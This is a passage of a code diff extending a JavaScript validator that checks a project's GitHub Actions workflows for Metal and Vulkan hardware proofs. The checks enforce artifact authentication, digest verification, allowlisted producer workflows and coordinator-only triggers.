validateRemainingWorkflows(workflows, violations) { engineRun.includes("calibration_args=()") && engineRun.includes('"${calibration_args[@]}"') && engineRun.includes('claim_scope_args=(--server-behavior-only)') - && occurrenceCount(engineRun, "--calibration-bundle") === 1, + && occurrenceCount(engineRun, "--calibration-bundle") === 1 + && object(engine?.env).USE_PACKAGED_CLI_ARTIFACT + === "${{ inputs.use_packaged_cli_artifact }}" + && object(engine?.env).VERIFIED_QUALIFICATION_DRIVER + === "${{ steps.qualification-driver.outputs.path }}" + && engineRun.includes( + "qualification_driver=target/release/codestory_embedding_qualification", + ) + && engineRun.includes( + 'if [ "$USE_PACKAGED_CLI_ARTIFACT" = true ]; then', + ) + && engineRun.includes( + 'qualification_driver="$VERIFIED_QUALIFICATION_DRIVER"', + ) + && occurrenceCount(engineRun, "qualification_driver=") === 2 + && engineRun.includes('test -x "$qualification_driver"') + && engineRun.includes('--qualification-driver "$qualification_driver"') + && !engineRun.includes( + "--qualification-driver target/release/codestory_embedding_qualification", + ), `${metalFile} server-behavior proof must omit calibration while qualification retains it`, ); add( @@ -3452,7 +6645,20 @@ function validateRemainingWorkflows(workflows, violations) { "codestory-release-cell-manifest.mjs produce", "accelerator_execution:macos-arm64-metal", "--producer-job packaged-metal", + '--expected-sha "$INPUT_REF"', + ]); + requireStepRun(violations, metalFile, job, "Emit authenticated macOS retrieval-readiness release cell", [ + "retrieval_readiness:macos-arm64", + "--producer-job packaged-metal", + '--expected-sha "$INPUT_REF"', ]); + for (const cell of [ + "Emit authenticated Metal release cell", + "Emit authenticated macOS retrieval-readiness release cell", + "Emit authenticated candidate-installed macOS release cell", + ]) { + requireStepEnv(violations, metalFile, job, cell, { INPUT_REF: "${{ inputs.ref }}" }); + } const metalCellUpload = namedStep(job, "Upload authenticated Metal release cell"); add( violations, @@ -3465,6 +6671,7 @@ function validateRemainingWorkflows(workflows, violations) { "candidate_installed_behavior:macos-arm64", "--producer-job packaged-metal", "candidate_managed_plugin", + '--expected-sha "$INPUT_REF"', ]); forbidStepRun( violations, @@ -3494,11 +6701,27 @@ function validateRemainingWorkflows(workflows, violations) { if (!vulkan) { violations.push(`${vulkanFile} must exist`); } else { - add(violations, trigger(vulkan, "workflow_call") !== undefined && trigger(vulkan, "workflow_dispatch") !== undefined, `${vulkanFile} must support reusable and manual proof`); - for (const event of ["workflow_call", "workflow_dispatch"]) { + add( + violations, + createHash("sha256").update(JSON.stringify(vulkan)).digest("hex") + === windowsVulkanWorkflowDigest, + `${vulkanFile} must match the reviewed protected Windows Vulkan workflow structure`, + ); + add( + violations, + trigger(vulkan, "workflow_call") !== undefined + && trigger(vulkan, "workflow_dispatch") === undefined, + `${vulkanFile} must be coordinator-only and not directly dispatchable`, + ); + for (const event of ["workflow_call"]) { for (const key of ["calibration_bundle_artifact", "calibration_bundle_run_id"]) { requireOptionalStringInput(violations, vulkanFile, vulkan, event, key); } + add( + violations, + at(vulkan, "on", event, "inputs", "quality_evidence_artifact") === undefined, + `${vulkanFile} ${event} must not accept optional quality evidence`, + ); } const candidateInput = object(at( vulkan, @@ -3581,6 +6804,10 @@ function validateRemainingWorkflows(workflows, violations) { "Capture source build tool evidence", "Install pinned Rust", "Build and package native CLI", + "Authenticate exact Windows candidate artifacts", + "Restore exact candidate archive from protected host", + "Download, authenticate, and admit candidate archive on miss", + "Verify packaged qualification driver", "Authenticate calibration bundle producer", "Prove protected Windows Vulkan runtime", "Stage isolated candidate-managed Windows install", @@ -3599,9 +6826,12 @@ function validateRemainingWorkflows(workflows, violations) { `${vulkanFile} candidate-installed validation must require explicit candidate mode`, ); requireStepRun(violations, vulkanFile, job, "Validate candidate-installed mode", [ - 'if ("${{ inputs.server_behavior_only }}" -ne "true")', + 'if ($env:SERVER_BEHAVIOR_ONLY -ne "true")', "candidate_installed_proof requires server_behavior_only", ]); + requireStepEnv(violations, vulkanFile, job, "Validate candidate-installed mode", { + SERVER_BEHAVIOR_ONLY: "${{ inputs.server_behavior_only }}", + }); const sourceBuildTools = namedStep(job, "Capture source build tool evidence"); add( violations, @@ -3615,29 +6845,293 @@ function validateRemainingWorkflows(workflows, violations) { "cmake --version", "ninja --version", ]); - requireStepRun(violations, vulkanFile, job, "Prepare checksum-pinned embedded model", ["node scripts/prepare-embedded-model.mjs"]); + requireStepRun(violations, vulkanFile, job, "Prepare checksum-pinned embedded model", [ + "node scripts/prepare-embedded-model.mjs", + '--cache-root "$env:RUNNER_TOOL_CACHE/codestory/model-material"', + ]); const nativeBuild = namedStep(job, "Build and package native CLI"); + const nativeBuildRun = shellLiteralNormalizedText(String(nativeBuild?.run ?? "")); add( violations, - hasExactKeys(object(nativeBuild?.env), ["VERSION", "CMAKE_GENERATOR"]) + hasExactKeys(object(nativeBuild?.env), [ + "VERSION", + "CMAKE_GENERATOR", + "SERVER_BEHAVIOR_ONLY", + ]) && object(nativeBuild?.env).CMAKE_GENERATOR === windowsNativeGenerator, `${vulkanFile} source package build must use the Ninja native generator`, ); - requireStepRun(violations, vulkanFile, job, "Build and package native CLI", [ - "cargo build --release --locked -p codestory-cli", - "package-codestory-release.py", - ]); + add( + violations, + shellInvocationsContaining(nativeBuildRun, "cargo @cargoArgs").length === 1 + && nativeBuildRun.includes("-p, codestory-cli") + && nativeBuildRun.includes("--bin, codestory-cli") + && nativeBuildRun.includes("--bin, codestory-cli-runtime") + && nativeBuildRun.includes("$env:SERVER_BEHAVIOR_ONLY -ne true") + && nativeBuildRun.includes("-p, codestory-bench") + && nativeBuildRun.includes( + "--bin, codestory_embedding_qualification", + ) + && occurrenceCount( + nativeBuildRun, + "codestory_embedding_qualification", + ) === 1 + && !nativeBuildRun.includes("codestory_embedding_constant_calibration") + && shellInvocationsContaining( + nativeBuildRun, + "python .github/scripts/package-codestory-release.py", + ).length === 1 + && jobShellInvocationsContaining(job, "cargo @cargoArgs").length === 1 + && jobShellInvocationsContaining(job, "cargo build").length === 0, + `${vulkanFile} source fallback must build CLI, runtime, and qualification driver in one Cargo invocation`, + ); add( violations, namedStep(job, "Install pinned Rust")?.if - === "${{ !inputs.use_packaged_cli_artifact || !inputs.server_behavior_only }}", - `${vulkanFile} packaged server-behavior proof must skip unused Rust installation`, + === "${{ !inputs.use_packaged_cli_artifact }}", + `${vulkanFile} every packaged proof must skip Rust installation`, + ); + add( + violations, + namedStep(job, "Build qualification driver") === undefined, + `${vulkanFile} must not rebuild the qualification driver after package download`, + ); + const windowsPackageAuthentication = namedStep( + job, + "Authenticate exact Windows candidate artifacts", + ); + const windowsPackageAuthenticationRun = shellLiteralNormalizedText( + stepRun(job, "Authenticate exact Windows candidate artifacts"), + ); + add( + violations, + windowsPackageAuthentication?.id === "candidate-artifacts" + && windowsPackageAuthentication?.if === "inputs.use_packaged_cli_artifact" + && windowsPackageAuthentication?.shell === windowsPowerShellShell + && windowsPackageAuthentication?.["continue-on-error"] === undefined + && hasExactKeys(object(windowsPackageAuthentication?.env), [ + "GH_TOKEN", + "CANDIDATE_PRODUCER_WORKFLOW_PATH", + "SERVER_BEHAVIOR_ONLY", + ]) + && object(windowsPackageAuthentication?.env).GH_TOKEN + === "${{ github.token }}" + && object(windowsPackageAuthentication?.env).CANDIDATE_PRODUCER_WORKFLOW_PATH + === "${{ inputs.candidate_producer_workflow_path }}" + && object(windowsPackageAuthentication?.env).SERVER_BEHAVIOR_ONLY + === "${{ inputs.server_behavior_only }}" + && windowsPackageAuthenticationRun.includes( + ".github/workflows/auto-release.yml", + ) + && windowsPackageAuthenticationRun.includes( + ".github/workflows/release.yml", + ) + && windowsPackageAuthenticationRun.includes( + ".github/workflows/packaged-platform-pr.yml", + ) + && windowsPackageAuthenticationRun.includes( + "$env:SERVER_BEHAVIOR_ONLY -ne true", + ) + && windowsPackageAuthenticationRun.includes( + "$env:CANDIDATE_PRODUCER_WORKFLOW_PATH -notin $allowedWorkflows", + ) + && windowsPackageAuthenticationRun.includes( + "$run.head_repository.full_name -ne $env:GITHUB_REPOSITORY", + ) + && windowsPackageAuthenticationRun.includes( + "$run.path -ne $env:CANDIDATE_PRODUCER_WORKFLOW_PATH", + ) + && windowsPackageAuthenticationRun.includes( + "$run.head_sha -ne $sourceSha", + ) + && windowsPackageAuthenticationRun.includes( + "[string]$run.run_attempt -ne $env:GITHUB_RUN_ATTEMPT", + ) + && windowsPackageAuthenticationRun.includes( + "$_.name -eq $name", + ) + && windowsPackageAuthenticationRun.includes( + "[string]$_.workflow_run.id -eq $env:GITHUB_RUN_ID", + ) + && windowsPackageAuthenticationRun.includes( + "$_.workflow_run.head_sha -eq $sourceSha", + ) + && windowsPackageAuthenticationRun.includes( + "expected exactly one authenticated $name artifact", + ) + && windowsPackageAuthenticationRun.includes( + "codestory-cli-windows-x64", + ) + && windowsPackageAuthenticationRun.includes( + "codestory-candidate-archive-record-windows-x64", + ) + && windowsPackageAuthenticationRun.includes( + "codestory-qualification-driver-windows-x64", + ) + && windowsPackageAuthenticationRun.includes( + "package-id=$($package.id)", + ) + && windowsPackageAuthenticationRun.includes( + "package-bytes=$($package.size_in_bytes)", + ) + && windowsPackageAuthenticationRun.includes( + "package-sha256=$($package.digest.Substring(7))", + ), + `${vulkanFile} packaged proof must authenticate the exact candidate record, package, and private driver from an allowlisted producer`, + ); + const windowsRecordDownload = namedStep( + job, + "Download authenticated candidate record", + ); + const windowsCacheRestore = namedStep( + job, + "Restore exact candidate archive from protected host", + ); + const windowsCacheMiss = namedStep( + job, + "Download, authenticate, and admit candidate archive on miss", + ); + const windowsDriverDownload = namedStep( + job, + "Download separate authenticated qualification driver", ); add( violations, - namedStep(job, "Build qualification driver")?.if - === "${{ !inputs.server_behavior_only }}", - `${vulkanFile} packaged server-behavior proof must skip the qualification driver`, + windowsRecordDownload?.if === "inputs.use_packaged_cli_artifact" + && windowsRecordDownload?.uses === "actions/download-artifact@v8.0.1" + && hasExactKeys(object(windowsRecordDownload?.with), ["name", "path"]) + && object(windowsRecordDownload?.with).name + === "codestory-candidate-archive-record-windows-x64" + && object(windowsRecordDownload?.with).path + === "target/candidate-archive-record/windows-x64" + && windowsCacheRestore?.id === "candidate-cache" + && windowsCacheRestore?.if === "inputs.use_packaged_cli_artifact" + && windowsCacheRestore?.shell === windowsPowerShellShell + && windowsCacheRestore?.["continue-on-error"] === undefined, + `${vulkanFile} protected cache lookup must consume only the exact small Windows candidate record`, + ); + requireStepRun( + violations, + vulkanFile, + job, + "Restore exact candidate archive from protected host", + [ + "$record.source.commit -ne $sourceSha", + "$record.source.tree -ne $sourceTree", + "$record.target -ne \"windows-x64\"", + "codestory/candidate-archives", + "candidate-archive-store.mjs restore", + "--record $recordPath", + "--output-dir target/release-dist", + "\"hit=$hit\"", + "$env:GITHUB_OUTPUT", + ], + ); + add( + violations, + windowsCacheMiss?.if + === "inputs.use_packaged_cli_artifact && steps.candidate-cache.outputs.hit != 'true'" + && windowsCacheMiss?.shell === windowsPowerShellShell + && windowsCacheMiss?.["continue-on-error"] === undefined + && hasExactKeys(object(windowsCacheMiss?.env), [ + "ARTIFACT_ID", + "EXPECTED_SHA256", + "EXPECTED_SIZE", + "GH_TOKEN", + ]) + && object(windowsCacheMiss?.env).ARTIFACT_ID + === "${{ steps.candidate-artifacts.outputs.package-id }}" + && object(windowsCacheMiss?.env).EXPECTED_SIZE + === "${{ steps.candidate-artifacts.outputs.package-bytes }}" + && object(windowsCacheMiss?.env).EXPECTED_SHA256 + === "${{ steps.candidate-artifacts.outputs.package-sha256 }}" + && object(windowsCacheMiss?.env).GH_TOKEN === "${{ github.token }}", + `${vulkanFile} large Windows Actions artifact transfer must be cache-miss-only and outer-digest authenticated`, + ); + requireStepRun( + violations, + vulkanFile, + job, + "Download, authenticate, and admit candidate archive on miss", + [ + "actions/artifacts/$env:ARTIFACT_ID/zip", + "--continue-at -", + "--max-time 120", + "$actualSize -ne [long]$env:EXPECTED_SIZE", + "$actualDigest -ne $env:EXPECTED_SHA256", + "extract-candidate-actions-artifact.py", + "candidate-archive-store.mjs admit", + "--store-root $store", + "--output-dir target/release-dist", + ], + ); + add( + violations, + windowsDriverDownload?.if + === "${{ inputs.use_packaged_cli_artifact && !inputs.server_behavior_only }}" + && windowsDriverDownload?.uses === "actions/download-artifact@v8.0.1" + && hasExactKeys(object(windowsDriverDownload?.with), ["name", "path"]) + && object(windowsDriverDownload?.with).name + === "codestory-qualification-driver-windows-x64" + && object(windowsDriverDownload?.with).path + === "target/qualification-driver-artifact/windows-x64" + && stepIndex(job, "Authenticate exact Windows candidate artifacts") + < stepIndex(job, "Download authenticated candidate record") + && stepIndex(job, "Download authenticated candidate record") + < stepIndex(job, "Restore exact candidate archive from protected host") + && stepIndex(job, "Restore exact candidate archive from protected host") + < stepIndex(job, "Download, authenticate, and admit candidate archive on miss") + && stepIndex(job, "Download, authenticate, and admit candidate archive on miss") + < stepIndex(job, "Download separate authenticated qualification driver"), + `${vulkanFile} private Windows qualification driver must stay separate from the cached public candidate`, + ); + const windowsDriverVerify = namedStep(job, "Verify packaged qualification driver"); + const windowsDriverVerifyRun = shellLiteralNormalizedText( + stepRun(job, "Verify packaged qualification driver"), + ); + add( + violations, + windowsDriverVerify?.id === "qualification-driver" + && windowsDriverVerify?.if + === "${{ inputs.use_packaged_cli_artifact && !inputs.server_behavior_only }}" + && windowsDriverVerify?.shell === windowsPowerShellShell + && windowsDriverVerify?.["continue-on-error"] === undefined + && hasExactKeys(object(windowsDriverVerify?.env), ["INPUT_VERSION"]) + && object(windowsDriverVerify?.env).INPUT_VERSION + === "${{ inputs.version }}" + && shellInvocationsContaining( + windowsDriverVerifyRun, + "node .github/scripts/qualification-driver-artifact.mjs verify", + ).length === 1 + && windowsDriverVerifyRun.includes("--asset-target windows-x64") + && windowsDriverVerifyRun.includes("--source-sha $sourceSha") + && windowsDriverVerifyRun.includes("--source-tree $sourceTree") + && windowsDriverVerifyRun.includes("--version $version") + && windowsDriverVerifyRun.includes( + "--archive target/release-dist/codestory-cli-v$version-windows-x64.zip", + ) + && windowsDriverVerifyRun.includes("--trusted-root $env:GITHUB_WORKSPACE") + && windowsDriverVerifyRun.includes( + "--artifact-dir target/qualification-driver-artifact/windows-x64", + ) + && windowsDriverVerifyRun.includes("$result.driver") + && windowsDriverVerifyRun.includes("$env:GITHUB_OUTPUT") + && stepIndex(job, "Verify packaged qualification driver") + === stepIndex(job, "Download separate authenticated qualification driver") + 1, + `${vulkanFile} packaged qualification must verify the archive-bound private driver`, + ); + add( + violations, + qualificationDriverHandoffIsSealed( + job, + "Verify packaged qualification driver", + "Prove protected Windows Vulkan runtime", + [ + "Authenticate calibration bundle producer", + "Download frozen calibration bundle", + ], + ), + `${vulkanFile} must not replace the verified qualification driver before execution`, ); requireCalibrationProducerBoundary( violations, @@ -3655,7 +7149,6 @@ function validateRemainingWorkflows(workflows, violations) { "--calibration-producer-run-id", "--calibration-producer-artifact", "--server-behavior-only", - "Test-Path $qualityPath", ]); add(violations, object(engine?.env).CODESTORY_EMBED_ALLOW_CPU === "0", `${vulkanFile} engine proof must reject CPU fallback`); const engineRun = stepRun(job, "Prove protected Windows Vulkan runtime"); @@ -3664,8 +7157,35 @@ function validateRemainingWorkflows(workflows, violations) { engineRun.includes("$calibrationArgs = @()") && engineRun.includes("@calibrationArgs") && engineRun.includes('$claimArgs = @("--server-behavior-only")') - && occurrenceCount(engineRun, "--calibration-bundle") === 1, - `${vulkanFile} server-behavior proof must omit calibration while qualification retains it`, + && engineRun.includes('"--produce-qualification-evidence"') + && object(engine?.env).USE_PACKAGED_CLI_ARTIFACT + === "${{ inputs.use_packaged_cli_artifact }}" + && object(engine?.env).VERIFIED_QUALIFICATION_DRIVER + === "${{ steps.qualification-driver.outputs.path }}" + && engineRun.includes( + '$qualificationDriver = "target/release/codestory_embedding_qualification.exe"', + ) + && engineRun.includes( + 'if ($env:USE_PACKAGED_CLI_ARTIFACT -eq "true")', + ) + && engineRun.includes( + "$qualificationDriver = $env:VERIFIED_QUALIFICATION_DRIVER", + ) + && occurrenceCount(engineRun, "$qualificationDriver =") === 2 + && engineRun.includes( + 'Test-Path -LiteralPath $qualificationDriver -PathType Leaf', + ) + && engineRun.includes( + '"--qualification-driver", $qualificationDriver', + ) + && engineRun.includes( + '"--qualification-evidence", "target/windows-vulkan-proof/qualification.json"', + ) + && !engineRun.includes("--retrieval-quality-evidence") + && occurrenceCount(engineRun, "--produce-qualification-evidence") === 1 + && occurrenceCount(engineRun, "--calibration-bundle") === 1 + && occurrenceCount(engineRun, "check-packaged-agent-proof.py") === 1, + `${vulkanFile} server-behavior proof must omit calibration while qualification runs one lifecycle proof without optional quality`, ); add( violations, @@ -3751,7 +7271,15 @@ function validateRemainingWorkflows(workflows, violations) { "codestory-release-cell-manifest.mjs produce", "accelerator_execution:windows-x64-vulkan", "--producer-job packaged-vulkan", + '--expected-sha "$INPUT_REF"', ]); + for (const cell of [ + "Emit authenticated Vulkan release cell", + "Emit authenticated Windows retrieval-readiness release cell", + "Emit authenticated candidate-installed Windows release cell", + ]) { + requireStepEnv(violations, vulkanFile, job, cell, { INPUT_REF: "${{ inputs.ref }}" }); + } const releaseCell = namedStep(job, "Emit authenticated Vulkan release cell"); add( violations, @@ -3771,6 +7299,12 @@ function validateRemainingWorkflows(workflows, violations) { "candidate_installed_behavior:windows-x64", "--producer-job packaged-vulkan", "candidate_managed_plugin", + '--expected-sha "$INPUT_REF"', + ]); + requireStepRun(violations, vulkanFile, job, "Emit authenticated Windows retrieval-readiness release cell", [ + "retrieval_readiness:windows-x64", + "--producer-job packaged-vulkan", + '--expected-sha "$INPUT_REF"', ]); forbidStepRun( violations, @@ -3800,16 +7334,29 @@ function validateRemainingWorkflows(workflows, violations) { if (!linuxVulkan) { violations.push(`${linuxVulkanFile} must exist`); } else { + add( + violations, + createHash("sha256").update(JSON.stringify(linuxVulkan)).digest("hex") + === linuxVulkanWorkflowDigest, + `${linuxVulkanFile} must match the reviewed protected Linux Vulkan workflow structure`, + ); add( violations, trigger(linuxVulkan, "workflow_call") !== undefined - && trigger(linuxVulkan, "workflow_dispatch") !== undefined, - `${linuxVulkanFile} must support reusable and manual proof`, + && trigger(linuxVulkan, "workflow_dispatch") === undefined, + `${linuxVulkanFile} must be coordinator-only and not directly dispatchable`, ); - for (const event of ["workflow_call", "workflow_dispatch"]) { + for (const event of ["workflow_call"]) { for (const key of ["calibration_bundle_artifact", "calibration_bundle_run_id"]) { requireOptionalStringInput(violations, linuxVulkanFile, linuxVulkan, event, key); } + for (const key of ["quality_evidence_artifact", "quality_evidence_run_id"]) { + add( + violations, + at(linuxVulkan, "on", event, "inputs", key) === undefined, + `${linuxVulkanFile} ${event} must not accept ${key}`, + ); + } add( violations, at(linuxVulkan, "on", event, "inputs", "candidate_installed_only") === undefined, @@ -3830,19 +7377,60 @@ function validateRemainingWorkflows(workflows, violations) { && candidateInput.default === false, `${linuxVulkanFile} reusable candidate-installed proof must be an explicit opt-in`, ); + const optionalCalibrationInput = object(at( + linuxVulkan, + "on", + "workflow_call", + "inputs", + "constant_calibration_mode", + )); add( violations, - at( - linuxVulkan, - "on", - "workflow_dispatch", - "inputs", - "candidate_producer_workflow_path", - "default", - ) === ".github/workflows/packaged-platform-pr.yml", - `${linuxVulkanFile} manual candidate proof must trust the package-producing workflow`, + optionalCalibrationInput.required === false + && optionalCalibrationInput.type === "boolean" + && optionalCalibrationInput.default === false, + `${linuxVulkanFile} optional constant calibration must be coordinator-only and off by default`, + ); + add( + violations, + trigger(linuxVulkan, "workflow_dispatch") === undefined, + `${linuxVulkanFile} standalone proof must not bypass the coordinator`, + ); + const route = requireJob(violations, linuxVulkanFile, linuxVulkan, "route"); + add( + violations, + JSON.stringify(route["runs-on"]) === JSON.stringify("ubuntu-latest") + && route["timeout-minutes"] === 5, + `${linuxVulkanFile} standalone dispatch validation must stay on a bounded hosted route job`, + ); + requireStepRun( + violations, + linuxVulkanFile, + route, + "Require an upstream package for standalone protected proof", + [ + 'if [ "$EVENT_NAME" = workflow_dispatch ] && [ "$CONSTANT_CALIBRATION_MODE" != true ]; then', + 'test -n "$PACKAGE_RUN_ID"', + ], + ); + requireStepEnv( + violations, + linuxVulkanFile, + route, + "Require an upstream package for standalone protected proof", + { + EVENT_NAME: "${{ github.event_name }}", + CONSTANT_CALIBRATION_MODE: "${{ inputs.constant_calibration_mode }}", + PACKAGE_RUN_ID: "${{ inputs.package_run_id }}", + }, ); const job = requireJob(violations, linuxVulkanFile, linuxVulkan, "packaged-vulkan"); + add( + violations, + job.if === "${{ !inputs.constant_calibration_mode }}" + && sameMembers(needs(job), ["route"]), + `${linuxVulkanFile} release proof job must not run during standalone optional calibration`, + ); requireStepUses( violations, linuxVulkanFile, @@ -3863,30 +7451,290 @@ function validateRemainingWorkflows(workflows, violations) { `${linuxVulkanFile} candidate-installed validation must require explicit candidate mode`, ); requireStepRun(violations, linuxVulkanFile, job, "Validate candidate-installed mode", [ - 'test "${{ inputs.server_behavior_only }}" = true', + 'test "$SERVER_BEHAVIOR_ONLY" = true', ]); - const packageDownload = namedStep(job, "Download exact Linux package"); + requireStepEnv(violations, linuxVulkanFile, job, "Validate candidate-installed mode", { + SERVER_BEHAVIOR_ONLY: "${{ inputs.server_behavior_only }}", + }); + const packageAuthentication = namedStep( + job, + "Authenticate exact Linux candidate artifacts", + ); + const packageAuthenticationRun = shellLiteralNormalizedText( + stepRun(job, "Authenticate exact Linux candidate artifacts"), + ); + add( + violations, + packageAuthentication?.id === "candidate-artifacts" + && packageAuthentication?.shell === "bash" + && packageAuthentication?.if === undefined + && packageAuthentication?.["continue-on-error"] === undefined + && hasExactKeys(object(packageAuthentication?.env), [ + "GH_TOKEN", + "CANDIDATE_PRODUCER_WORKFLOW_PATH", + "PACKAGE_RUN_ID", + "SERVER_BEHAVIOR_ONLY", + ]) + && object(packageAuthentication?.env).GH_TOKEN === "${{ github.token }}" + && object(packageAuthentication?.env).CANDIDATE_PRODUCER_WORKFLOW_PATH + === "${{ inputs.candidate_producer_workflow_path }}" + && object(packageAuthentication?.env).PACKAGE_RUN_ID + === "${{ inputs.package_run_id || github.run_id }}" + && object(packageAuthentication?.env).SERVER_BEHAVIOR_ONLY + === "${{ inputs.server_behavior_only }}" + && packageAuthenticationRun.includes( + ".github/workflows/auto-release.yml", + ) + && packageAuthenticationRun.includes( + ".github/workflows/release.yml", + ) + && packageAuthenticationRun.includes( + ".github/workflows/packaged-platform-pr.yml", + ) + && packageAuthenticationRun.includes( + "case $CANDIDATE_PRODUCER_WORKFLOW_PATH in", + ) + && packageAuthenticationRun.includes( + "if [ $SERVER_BEHAVIOR_ONLY != true ]", + ) + && packageAuthenticationRun.includes( + "test $CANDIDATE_PRODUCER_WORKFLOW_PATH =", + ) + && packageAuthenticationRun.includes( + ".head_repository.full_name", + ) + && packageAuthenticationRun.includes( + "test $(jq -r .path <<<$run) = $CANDIDATE_PRODUCER_WORKFLOW_PATH", + ) + && packageAuthenticationRun.includes( + "test $(jq -r .head_sha <<<$run) = $(git rev-parse HEAD)", + ) + && packageAuthenticationRun.includes( + "if [ $PACKAGE_RUN_ID = $GITHUB_RUN_ID ]", + ) + && packageAuthenticationRun.includes( + "test $(jq -r .run_attempt <<<$run) = $GITHUB_RUN_ATTEMPT", + ) + && packageAuthenticationRun.includes( + "test $(jq -r .status <<<$run) = completed", + ) + && packageAuthenticationRun.includes( + "test $(jq -r .conclusion <<<$run) = success", + ) + && packageAuthenticationRun.includes( + "expected one exact candidate artifact", + ) + && packageAuthenticationRun.includes( + "select_artifact codestory-cli-linux-x64", + ) + && packageAuthenticationRun.includes( + "select_artifact codestory-candidate-archive-record-linux-x64", + ) + && packageAuthenticationRun.includes( + "select_artifact codestory-qualification-driver-linux-x64", + ) + && packageAuthenticationRun.includes(".workflow_run.id == $run_id") + && packageAuthenticationRun.includes(".workflow_run.head_sha == $sha") + && packageAuthenticationRun.includes("package-id=$artifact_id") + && packageAuthenticationRun.includes("package-bytes=$expected_size") + && packageAuthenticationRun.includes( + "package-sha256=${expected_digest#sha256:}", + ), + `${linuxVulkanFile} must authenticate one exact-head candidate record, package, and private driver from an allowlisted producer`, + ); + const packageDownload = namedStep( + job, + "Download authenticated candidate record", + ); + const linuxCacheRestore = namedStep( + job, + "Restore exact candidate archive from protected host", + ); + const linuxCacheMiss = namedStep( + job, + "Download, authenticate, and admit candidate archive on miss", + ); + const linuxDriverDownload = namedStep( + job, + "Download separate authenticated qualification driver", + ); add( violations, packageDownload?.uses === "actions/download-artifact@v8.0.1" - && object(packageDownload.with).name === "codestory-cli-linux-x64", - `${linuxVulkanFile} must consume the graph-declared Linux x64 package`, + && hasExactKeys( + packageDownload?.with, + ["name", "path", "run-id", "github-token"], + ) + && object(packageDownload.with).name + === "codestory-candidate-archive-record-linux-x64" + && object(packageDownload.with).path + === "target/candidate-archive-record/linux-x64" + && object(packageDownload.with)["run-id"] + === "${{ inputs.package_run_id || github.run_id }}" + && object(packageDownload.with)["github-token"] === "${{ github.token }}" + && linuxCacheRestore?.id === "candidate-cache" + && linuxCacheRestore?.if === undefined + && linuxCacheRestore?.shell === "bash" + && linuxCacheRestore?.["continue-on-error"] === undefined, + `${linuxVulkanFile} protected cache lookup must consume only the exact small Linux candidate record`, ); - requireCalibrationProducerBoundary( + requireStepRun( violations, linuxVulkanFile, job, - "${{ !inputs.server_behavior_only }}", + "Restore exact candidate archive from protected host", + [ + "--arg repository \"$GITHUB_REPOSITORY\"", + "--arg source_sha \"$(git rev-parse HEAD)\"", + "--arg source_tree \"$(git rev-parse 'HEAD^{tree}')\"", + "--arg target linux-x64", + "$RUNNER_TOOL_CACHE/codestory/candidate-archives", + "candidate-archive-store.mjs restore", + "--record \"$record\"", + "--output-dir target/release-dist", + "echo \"hit=$hit\" >> \"$GITHUB_OUTPUT\"", + ], ); - const engine = namedStep(job, "Prove offline Linux Vulkan retrieval"); - requireStepRun(violations, linuxVulkanFile, job, "Prove offline Linux Vulkan retrieval", [ - "--engine-policy accelerated", - "--expected-backend Vulkan", - "--offline", - "--proof-tier protected_hardware", - "--qualification-matrix-cell protected_linux_x64_vulkan", - "--calibration-producer-run-id", - "--calibration-producer-artifact", + add( + violations, + linuxCacheMiss?.if === "steps.candidate-cache.outputs.hit != 'true'" + && linuxCacheMiss?.shell === "bash" + && linuxCacheMiss?.["continue-on-error"] === undefined + && hasExactKeys(object(linuxCacheMiss?.env), [ + "ARTIFACT_ID", + "EXPECTED_SHA256", + "EXPECTED_SIZE", + "GH_TOKEN", + ]) + && object(linuxCacheMiss?.env).ARTIFACT_ID + === "${{ steps.candidate-artifacts.outputs.package-id }}" + && object(linuxCacheMiss?.env).EXPECTED_SIZE + === "${{ steps.candidate-artifacts.outputs.package-bytes }}" + && object(linuxCacheMiss?.env).EXPECTED_SHA256 + === "${{ steps.candidate-artifacts.outputs.package-sha256 }}" + && object(linuxCacheMiss?.env).GH_TOKEN === "${{ github.token }}", + `${linuxVulkanFile} large Linux Actions artifact transfer must be cache-miss-only and outer-digest authenticated`, + ); + requireStepRun( + violations, + linuxVulkanFile, + job, + "Download, authenticate, and admit candidate archive on miss", + [ + "actions/artifacts/$ARTIFACT_ID/zip", + "--continue-at -", + "--max-time 120", + 'test "$actual_size" = "$EXPECTED_SIZE"', + 'test "$actual_digest" = "$EXPECTED_SHA256"', + "extract-candidate-actions-artifact.py", + "candidate-archive-store.mjs admit", + "--store-root \"$RUNNER_TOOL_CACHE/codestory/candidate-archives\"", + "--output-dir target/release-dist", + ], + ); + add( + violations, + linuxDriverDownload?.if === "${{ !inputs.server_behavior_only }}" + && linuxDriverDownload?.uses === "actions/download-artifact@v8.0.1" + && hasExactKeys( + object(linuxDriverDownload?.with), + ["name", "path", "run-id", "github-token"], + ) + && object(linuxDriverDownload?.with).name + === "codestory-qualification-driver-linux-x64" + && object(linuxDriverDownload?.with).path + === "target/qualification-driver-artifact/linux-x64" + && object(linuxDriverDownload?.with)["run-id"] + === "${{ inputs.package_run_id || github.run_id }}" + && object(linuxDriverDownload?.with)["github-token"] + === "${{ github.token }}" + && stepIndex(job, "Authenticate exact Linux candidate artifacts") + < stepIndex(job, "Download authenticated candidate record") + && stepIndex(job, "Download authenticated candidate record") + < stepIndex(job, "Restore exact candidate archive from protected host") + && stepIndex(job, "Restore exact candidate archive from protected host") + < stepIndex(job, "Download, authenticate, and admit candidate archive on miss") + && stepIndex(job, "Download, authenticate, and admit candidate archive on miss") + < stepIndex(job, "Download separate authenticated qualification driver"), + `${linuxVulkanFile} private Linux qualification driver must stay separate from the cached public candidate`, + ); + requireCalibrationProducerBoundary( + violations, + linuxVulkanFile, + job, + "${{ !inputs.server_behavior_only }}", + ); + add( + violations, + namedStep(job, "Install pinned Rust for frozen-candidate qualification") + === undefined + && namedStep(job, "Build qualification driver") === undefined + && jobShellInvocationsContaining(job, "cargo build").length === 0 + && jobShellInvocationsContaining( + job, + "node scripts/prepare-embedded-model.mjs", + ).length === 0 + && jobShellInvocationsContaining(job, "rustup toolchain install").length + === 0, + `${linuxVulkanFile} packaged qualification must not reinstall Rust, prepare a model, or rebuild the retained driver`, + ); + const linuxDriverVerify = namedStep(job, "Verify packaged qualification driver"); + const linuxDriverVerifyRun = shellLiteralNormalizedText( + stepRun(job, "Verify packaged qualification driver"), + ); + add( + violations, + linuxDriverVerify?.id === "qualification-driver" + && linuxDriverVerify?.if === "${{ !inputs.server_behavior_only }}" + && linuxDriverVerify?.shell === "bash" + && linuxDriverVerify?.["continue-on-error"] === undefined + && hasExactKeys(object(linuxDriverVerify?.env), ["INPUT_VERSION"]) + && object(linuxDriverVerify?.env).INPUT_VERSION + === "${{ inputs.version }}" + && shellInvocationsContaining( + linuxDriverVerifyRun, 